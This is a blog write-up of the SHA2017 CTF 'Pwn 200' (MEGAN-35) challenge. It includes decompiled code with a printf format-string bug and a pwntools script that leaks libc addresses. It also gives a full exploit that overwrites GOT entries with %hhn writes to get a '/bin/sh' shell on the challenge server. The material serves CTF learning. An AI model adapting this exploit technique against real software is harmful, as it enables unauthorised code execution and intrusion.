SHA2017 - Write up Pwn 200

Welcome to my blog.
Today, I will write up for SHA2017 CTF.

In here, I write for Pwn 200

This source file: FILE

System is running Ubuntu 16.04, ASLR is disabled.

nc megan35.stillhackinganyway.nl 3535


int __cdecl main(int a1)
{
  const char *v1; // eax@1
  int v2; // edx@1
  char s; // [sp+0h] [bp-21Ch]@1
  char dest; // [sp+100h] [bp-11Ch]@1
  int v6; // [sp+200h] [bp-1Ch]@1
  int *v7; // [sp+214h] [bp-8h]@1

  v7 = &a1;
  v6 = *MK_FP(__GS__, 20);
  puts("Decrypt your text with the MEGAN-35 encryption.");
  fflush(stdout);
  fgets(&s, 0xFF, stdin);
  v1 = sub_804866B(&s, strlen(&s));
  strcpy(&dest, v1);
  printf(&dest);
  v2 = *MK_FP(__GS__, 20) ^ v6;
  return 0;
}
In challenge input one megan-35 encode, program decode and print decoded text.

We can leak in printf(&dest); by format string.

First, I had source encode megan-35.py :


import base64, sys

megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
atom128 = "/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC"
zong22 = "ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2"
hazz15 = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5"
base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="

class B64VariantEncoder:

    def __init__(self, translation):
        base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
        self.lookup = dict(zip(base, translation))
        self.revlookup = dict(zip(translation, base))

    def encode(self, text):
        global lookup
        b64 = base64.b64encode(text)
        result = "".join([self.lookup[x] for x in b64])
        return result

    def decode(self, code):
        global revlookup
        b64 = "".join([self.revlookup[x] for x in code])
        result = base64.b64decode(b64)
        return result    

variant = megan35

def encode(text):
    encoder = B64VariantEncoder(variant)
    return encoder.encode(text)

def decode(code):
    try:
        encoder = B64VariantEncoder(variant)
        return encoder.decode(code)
    except KeyError:
        return "no valid encoding"
    except TypeError:
        return "no correct padding"
Because ASLR is disable then i had one idea.
I overwrite canary and stack_check_flase, overwrite system in printf_got to jump to main and input '/bin/sh' in megan-35 encode then system('/bin/sh').

Fist i need canary addr:

.text:080484E0                 lea     ecx, [esp+4]
.text:080484E4                 and     esp, 0FFFFFFF0h
.text:080484E7                 push    dword ptr [ecx-4]
.text:080484EA                 push    ebp
.text:080484EB                 mov     ebp, esp
.text:080484ED                 push    edi
.text:080484EE                 push    ebx
.text:080484EF                 push    ecx
if we have $ecx we will know $esp then calculate $ebp and canary address.
break point in printf(&dest); we have: 
Breakpoint 1, 0x08048558 in ?? ()
gdb-peda$ i r $esp
esp            0xffffcdc0 0xffffcdc0
gdb-peda$ x/wx $ebp - 0xc
0xffffcfec: 0xffffd010
$ecx in 0xffffcfec :
we had (0xffffcfec-0xffffcdc0)/4 = 139 ==>> input "%139$x" encode megan-35 to get $ecx
[chungnv@Fedora25 Bai1]$ nc megan35.stillhackinganyway.nl 3535
Decrypt your text with the MEGAN-35 encryption.
OdJtTc=y
ffffddd0
we had $ecx = 0xffffddd0 ==> $ebp = (($ecx-4)&0xfffffff0)-8 ==> canary = $ebp - 0x1c ==> canary = 0xffffdd9c

Next, we want get the value of system address.
To do it i find value of printf address by payload: printf_got + '%p"*70 + "--" + "%s"
from pwn import *
from megan35 import encode
libc = ELF('libc.so.6')
printf_got = 0x804A00C
r = remote('megan35.stillhackinganyway.nl', 3535)
r.recvuntil('encryption.\n')
payload = p32(printf_got) + "%p"*70 + "--" + "%s"
r.sendline(encode(payload))
addr = int(r.recv(1024).split('--')[-1][:4][::-1].encode('hex'),16)
log.info("Printf addr: " + hex(addr))
system = addr - libc.symbols['printf'] + libc.symbols['system']
log.info("system: " + hex(system))
[chungnv@Fedora25 Bai1]$ python find.py 
[*] '/home/chungnv/Downloads/CTF-GAME/SHA2017/pwn/Bai1/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to megan35.stillhackinganyway.nl on port 3535: Done
[*] Printf addr: 0xf7e62020
[*] system: 0xf7e53940
[*] Closed connection to megan35.stillhackinganyway.nl port 3535
from value of printf address we can calculate value of system address by file libc.so.6 .
system = 0xf7e53940
I use this code below to exploitation program.

from pwn import *
from megan35 import encode

stack_false = 0x804A018
main = 0x80484E0
printf = 0x804A00C

def proc_value(value):
    ar = []
    k =  value & 0xff
    if k <= 0x14:
        k += 0x100
    ar.append(k)
    while True:
        value = value >> 8
        x = value&0xff
        if x == 0:
            break
        while x <= ar[-1]:
            x = x+0x100
        ar.append(x)
    return ar

def write(addr, value, canary):
    buff = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+p32(printf)+p32(printf+1)+p32(printf+2)+p32(printf+3)
    if canary != 0:
        buff += p32(canary)
    ar = proc_value(value)
    key = 71
    for i in range(len(ar)):
        if i == 0:
            if canary != 0:
                buff += "%"+str(ar[i]-0x24)+"c%" + str(key) + "$hhn"
            else:
                buff += "%"+str(ar[i]-0x20)+"c%" + str(key) + "$hhn"
        else:
            buff += "%"+str(ar[i]-ar[i-1])+"c%" + str(key) + "$hhn"
        key += 1
    buff += '%56c%75$hhn'
    buff += '%249c%76$hhn'
    buff += '%172c%77$hhn'
    buff += '%18c%78$hhn'
    if canary != 0:
        buff += "%79$hn"
    return buff

def findaddr(addr):
    p.recvuntil('encryption.\n')
    p.sendline(encode(p32(addr) + "%p"*70 + "<-->" +"%s"))
    txt = p.recv(2048)
    leak = txt.split('<-->')[1][:4]
    leak = int(leak[::-1].encode('hex'), 16)
    return leak

def leakaddr(addr, value, canary):
    p.recvuntil('encryption.\n')
    buff = encode(write(addr, value, canary))
    p.sendline(buff)

canary = 0xffffdd9c
system = 0xf7e53940

p = remote('megan35.stillhackinganyway.nl', 3535)
leakaddr(stack_false, main, canary)
p.recvuntil('encryption.\n')
p.sendline(encode('/bin/sh'))
p.interactive()
The challenge is finish!!!!

Comments

Popular posts from this blog

Exploit deaslr through _dl_runtime_resolve

WriteUp PWN 500pts - PwC Hackaday

[Night St0rm CTF] - WRITE UP PWN